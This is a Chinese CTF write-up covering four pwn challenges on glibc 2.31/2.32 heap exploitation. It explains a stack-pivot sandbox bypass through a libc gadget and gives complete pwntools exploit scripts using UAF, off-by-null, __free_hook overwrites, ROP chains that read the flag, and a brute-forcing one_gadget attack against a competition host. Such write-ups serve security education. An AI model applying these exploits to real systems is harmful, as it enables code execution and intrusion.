四个pwn,除了第一个签到全是高版本的libc堆,我是废物~。
学了一手高版本libc使用栈迁移绕过沙盒的方法。

新思路

之前我们在libc2.27以下版本的时候使用setcontext的某段汇编来绕过沙盒,在高版本那段汇编变为了rdx,但是依然有方法绕过,但是这里用一个新的汇编段(那个方法我忘记整理了,也懒得翻题库了)。
在libc中有一段比较奇特的汇编段。

这个我们稍微研究一下就可以发现,只要我们可以控制rdi+0x48位置,我们就可以控制rbp,进而控制rax,然后控制程序call,如果我们在call处放入leave_ret就可以栈迁移
劫持程序。
下面为上述汇编段16进制,可以将libc拖入16进制编辑器使用下面16进制里查找偏移
48 8b 6f 48 48 8b 45 18 4c 8d 6d 10 c7 45 10 00 00 00 00 4c 89 ef ff 50 28
经过测试,我们需要构造如下图所示的heap空间

其中,0x561b47d3e7f0为程序执行到上述汇编段头时rdi的值,然后只需要构造如图所示的空间,就可以实现orw一把梭,方便快捷。
其中,payload为

1
2
3
4
5
6
7
8
9
10
read_addr = libcbase_addr + libc.symbols["read"]
puts_addr = libcbase_addr + libc.symbols["puts"]
pop_4_ret = libcbase_addr + libc.search(asm("pop r12\npop r13\npop r14\npop r15\nret")).next()
pop_rdx_ret = libcbase_addr + libc.search(asm("pop rdx\npop r12\nret")).next()
pop_rdi_ret = libcbase_addr + libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret = libcbase_addr + libc.search(asm("pop rsi\nret")).next()
payload = "flag\x00\x00\x00\x00"+p64(pop_4_ret)*4+p64(heap_addr-0x208)+p64(leave_ret)+ p64(heap_addr-0x200)
payload += p64(pop_rdi_ret)+p64(heap_addr-0x210)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
payload += p64(pop_rdi_ret)+p64(4)+p64(pop_rsi_ret)+p64(free_hook+0x300)+p64(pop_rdx_ret)+p64(0x200)+p64(0)+p64(read_addr)
payload += p64(pop_rdi_ret)+p64(free_hook+0x300)+p64(puts_addr)

这段内存,里面使用到了三处堆地址,等实践之时按照rdi的偏移来计算即可。

clown

libc2.32的uaf,开了沙盒,heap地址可以用一开始free一个chunk来泄露,然后<<12来还原。其他就简单了,写free_hook时记得heap地址与free_hook异或后使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('clown')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./clown')

else:
p = remote(ip,port)
def add(size,content):
p.sendlineafter(">> ","1")
p.sendlineafter("Size: \n",str(size))
p.sendlineafter("Content: \n",content)
def free(index):
p.sendlineafter(">> ","2")
p.sendlineafter("Index: \n",str(index))
def show(index):
p.sendlineafter(">> ","3")
p.sendlineafter("Index: \n",str(index))
add(0x80,"aaa")
free(0)
show(0)
heap_addr = u64(p.recv(5).ljust(8,'\x00'))<<12
print "heap_addr = ",hex(heap_addr)
for i in range(8):
add(0x80,"aaa")
add(0x80,"aaa")#9
add(0x80,"aaa")#10
for i in range(7):
free(i+2)
free(1)
add(0x100,"a")#11
show(1)
libcbase_addr = u64(p.recv(6).ljust(8,'\x00'))-(0x7f0acf358c80-0x7f0acf175000)
free_hook = libcbase_addr + (0x7f8bdf928e40-0x7f8bdf742000)
stack_deviation = libcbase_addr + 0x14E72A
libc = ELF("libc.so.6")
open_addr = libcbase_addr + libc.symbols["open"]
read_addr = libcbase_addr + libc.symbols["read"]
puts_addr = libcbase_addr + libc.symbols["puts"]
pop_4_ret = libcbase_addr + libc.search(asm("pop r12\npop r13\npop r14\npop r15\nret")).next()
pop_rdx_ret = libcbase_addr + libc.search(asm("pop rdx\npop r12\nret")).next()
pop_rdi_ret = libcbase_addr + libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret = libcbase_addr + libc.search(asm("pop rsi\nret")).next()
leave_ret = libcbase_addr + libc.search(asm("leave\nret")).next()
print "libc_addr = ",hex(libcbase_addr)

payload = p64(0)*2
payload += "flag\x00\x00\x00\x00"+p64(pop_4_ret)*4+p64(heap_addr-0x208+0xb70)+p64(leave_ret)+ p64(heap_addr-0x200+0xb70)
payload += p64(pop_rdi_ret)+p64(heap_addr-0x210+0xb70)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
payload += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(free_hook+0x300)+p64(pop_rdx_ret)+p64(0x200)+p64(0)+p64(read_addr)
payload += p64(pop_rdi_ret)+p64(free_hook+0x300)+p64(puts_addr)
add(0xf0,payload)#12
free(9)
free(10)
for i in range(7):
add(0x80,"aaa")#13-19
free(18)
free(10)
add(0x90,'aaa')#20
free(10)
key = (heap_addr>>12)^(free_hook)
add(0x80,p64(key))#21
add(0x80,p64(key))#22
add(0x80,p64(stack_deviation))#23
#gdb.attach(p,"b *"+str(hex(stack_deviation)))
free(12)
p.interactive()
if __name__ == '__main__':
pwn('ip',post,1)

babybabybabyheap

libc2.31的off-by-null,由于2.31的unlink增加了对fd->bkbk->fd进行了检测,所以合并的时候要注意。
检测源码👇

1
2
3
4
5
6
7
8
9
10
11
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
//...
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('baby')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./baby')

else:
p = remote(ip,port)
def add(index,size,content):
p.sendlineafter(">> ","1")
p.sendlineafter("index?\n",str(index))
p.sendlineafter("size?\n",str(size))
p.sendafter("content?\n",content)
def show(index):
p.sendlineafter(">> ","2")
p.sendlineafter("index?\n",str(index))
def free(index):
p.sendlineafter(">> ","3")
p.sendlineafter("index?\n",str(index))
def back(index,content):
p.sendlineafter(">> ","4")
p.sendafter("to exit?(y/n)\n",'n')
p.sendlineafter("index?\n",str(index))
p.sendlineafter("content?\n",content)
p.recvuntil("0x")
libcbase_addr = int(p.recv(12),16)-(0x7fc3f70335a0-0x7fc3f6fac000)
free_hook = libcbase_addr + (0x7fc3f719ab28-0x7fc3f6fac000)
system_addr = libcbase_addr + (0x7fc3f7001410-0x7fc3f6fac000)
main_arena = libcbase_addr + (0x7f10a25ccbe0-0x00007f10a23e1000)
add(0,0xf8,p64(0x21)*8)
add(1,0xf8,p64(0)+p64(0x1f1)+p64(0x404130)+p64(0x404130+8))
add(2,0xf8,'x')
add(3,0xf8,'x')
#-----
add(4,0xf8,'x')
add(5,0xf8,'x')
add(6,0xf8,'x')
add(7,0xf8,'x')
add(8,0xf8,'x')
add(9,0xf8,'x')
add(10,0xf8,'x')
#-----
for i in range(7):
free(4+i)
#free(0)
payload = p64(0)+p64(0x1f1)+"\x00"*0xe0+p64(0x1f0)
back(2,payload)
free(3)
add(4,0xf8,'x')
free(2)
add(5,0x80,'x')
payload = p64(0)*11+p64(0x101)+p64(free_hook)
add(6,0x80,payload)
add(7,0xf0,"/bin/sh\x00")
add(8,0xf0,p64(system_addr))
free(7)
#gdb.attach(p)
p.interactive()
if __name__ == '__main__':
pwn('ip',post,1)

ParentSimulator

libc2.31的UAF,与上面那个题极为相似。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('Paren')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./Paren')

else:
p = remote(ip,port)
def add(index,gender,name):
p.sendlineafter(">> ","1")
p.sendlineafter("input index?\n",str(index))
p.sendlineafter("2.Girl:\n",str(gender))
p.sendafter("child's name:\n",name)
def editname(index,name):
p.sendlineafter(">> ","2")
p.sendlineafter("input index?\n",str(index))
p.sendafter("child's new name:\n",name)
def show(index):
p.sendlineafter(">> ","3")
p.sendlineafter("input index?\n",str(index))
def free(index):
p.sendlineafter(">> ","4")
p.sendlineafter("input index?\n",str(index))
def editdes(index,des):
p.sendlineafter(">> ","5")
p.sendlineafter("input index?\n",str(index))
p.sendafter("child's description:\n",des)
def back(index,gender):
p.sendlineafter(">> ","666")
p.sendlineafter("input index?\n",str(index))
p.sendlineafter("2.Girl:\n",str(gender))
add(0,2,"A"*7)
add(1,2,"A"*7)
add(2,2,"A"*7)
add(3,2,"A"*7)
add(4,2,"A"*7)
add(5,2,"A"*7)
add(6,2,"A"*7)
add(7,2,"A"*7)
add(8,2,"A"*7)
free(0)
back(0,2)
free(0)
add(0,2,"A"*7)
add(9,2,"a"*7)
for i in range(7):
free(1+i)
free(0)
show(9)
p.recvuntil("Name: ")
libcbase_addr = u64(p.recv(6).ljust(8,"\x00")) - (0x7fafcad44be0-0x7fafcab59000)
free_hook = libcbase_addr + (0x7fafcad47b28-0x7fafcab59000)
stack_offiet = libcbase_addr + 0x157bfa
leave_ret = libcbase_addr + 0x5aa48
libc = ELF("libc-2.31.so")
open_addr = libcbase_addr + (0x7f19823bccc0-0x7f19822ac000)
read_addr = libcbase_addr + libc.symbols["read"]
puts_addr = libcbase_addr + libc.symbols["puts"]
pop_rdi_ret = libcbase_addr + libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret = libcbase_addr + libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret = libcbase_addr + 0x11c1e1
pop_4_ret = libcbase_addr +0x26b6b
for i in range(7):
add(1+i,2,'a'*7)
add(0,2,"a"*7)
free(1)
free(0)
show(9)
p.recvuntil("Name: ")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
editname(9,p64(free_hook)[0:7])
add(0,2,"1")
add(1,2,p64(stack_offiet)[0:7])
payload = "flag\x00\x00\x00\x00"+p64(pop_4_ret)*4+p64(heap_addr-0x208)+p64(leave_ret)+ p64(heap_addr-0x200)
payload += p64(pop_rdi_ret)+p64(heap_addr-0x210)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
payload += p64(pop_rdi_ret)+p64(4)+p64(pop_rsi_ret)+p64(free_hook+0x300)+p64(pop_rdx_ret)+p64(0x200)+p64(0)+p64(read_addr)
payload += p64(pop_rdi_ret)+p64(free_hook+0x300)+p64(puts_addr)
editdes(3,payload)
print "heap_addr = ",hex(heap_addr)
print "stack_offiet = ",hex(stack_offiet)
print "open_addr = ",hex(open_addr)
free(3)
p.interactive()
if __name__ == '__main__':
pwn('ip',post,1)

fruitpie

签到题,申请大malloc会申请到mapped段,这段是libc空间内地址,就可以利用这个来泄露libc地址,然后改hook指针,这里需要注意的是,mapped段到libc段的偏移不是固定的,
但是某台机器是固定,这意味这你在本地测试的偏移可能跟远程的偏移有所偏差,但是偏差是固定的,直接爆之。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('fruitpie')
p = 0
def pwn(p,ip,port,debug,num):
p.sendlineafter("to malloc:\n",str(0x30000))
p.recvuntil("0x")
#gdb.attach(p,"b *read")
libc_addr = int(p.recv(12),16)
print "libc_addr = ",hex(libc_addr)
p.sendlineafter("Offset:\n","-"+str(hex(0x1e03e0+num)))
one_ge = [0x4f365,0x4f3c2,0x10a45c]
libcbase_addr = libc_addr -(0x7f7bcfbe3010-0x00007f7bcf617000+num)
p.sendlineafter("Data:\n",p64(libcbase_addr + one_ge[2]))
p.sendline("ls")
p.recv()
p.interactive()
if __name__ == '__main__':
for i in range(-0x30000,0x30000,0x1000):
print hex(i)
p = remote('54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com',51802)
try:
pwn(p,'54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com',51802,0,i)
except Exception:
p.close()

总结

总结了一下新沙盒绕过的思路,如果能真正搞懂上面那个payload。以后遇到沙盒类堆溢出就可以在实现任意地址写之后一把梭flag